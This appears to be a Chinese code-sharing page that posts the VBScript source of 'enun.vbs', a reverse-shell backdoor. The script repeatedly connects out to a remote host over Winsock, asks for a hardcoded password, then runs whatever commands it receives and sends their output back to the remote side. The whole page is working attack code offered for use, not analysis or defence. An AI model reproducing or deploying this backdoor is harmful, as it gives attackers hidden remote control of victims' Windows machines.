时间:2021-08-26 08:14:20 | 栏目:VBS | 点击:次
相关下载:
1,视频演示
2,vb6controls
enun.vbs 源码:
Do
Do While (SocketObj.State <> 7)
WScript.Echo "Try Connect to " & RemoteHost & ":" & RemotePort & " ..."
Set SocketObj = WScript.CreateObject("MSWinsock.Winsock")
SocketObj.Protocol = 0
SocketObj.RemoteHost = RemoteHost
SocketObj.RemotePort = RemotePort
SocketObj.Connect
WScript.Sleep 3000
Loop
WScript.Echo "Connected to server."
SocketObj.SendData SocketObj.LocalHostName & " is Connected, Enter Password: "
Do While (SocketObj.BytesReceived = 0)
WScript.Sleep 10
Loop
'密码验证
SocketObj.GetData Authkey, vbString
If Split(Authkey, chr(10), -1, 1)(0) = "enun" Then
Set ShellObj = CreateObject("WScript.Shell")
sRevData = " "
SocketObj.SendData "Logon Success, Welcome!" & chr(13) & chr(10)
'循环等待执行命令
Do
Set ExecObj = ShellObj.Exec(Split(sRevData, chr(10), -1, 1)(0))
SocketObj.SendData ExecObj.StdOut.ReadAll
SocketObj.SendData ExecObj.StdErr.ReadAll
If sRevData <> "" Then
SocketObj.SendData chr(10) & "[" & SocketObj.LocalHostName & "@" & "enun]#: "
End If
If Left(sRevData, 4) = "exit" Then
SocketObj.Close
Exit Do
End If
SocketObj.GetData sRevData, vbString
WScript.Sleep 1000
Loop
Else
LockoutBadCount = LockoutBadCount + 1
SocketObj.SendData "Logon Failure: Unknown user name or bad password." & chr(13) & chr(10)
WScript.Sleep 1000
End If
'账户策略
If (LockoutBadCount > 3) Then
SocketObj.SendData "The User Account is locked!" & chr(13) & chr(10)
WScript.Sleep 1000
SocketObj.Close
LockoutBadCount = 0
WScript.Sleep 600*1000
End If
Loop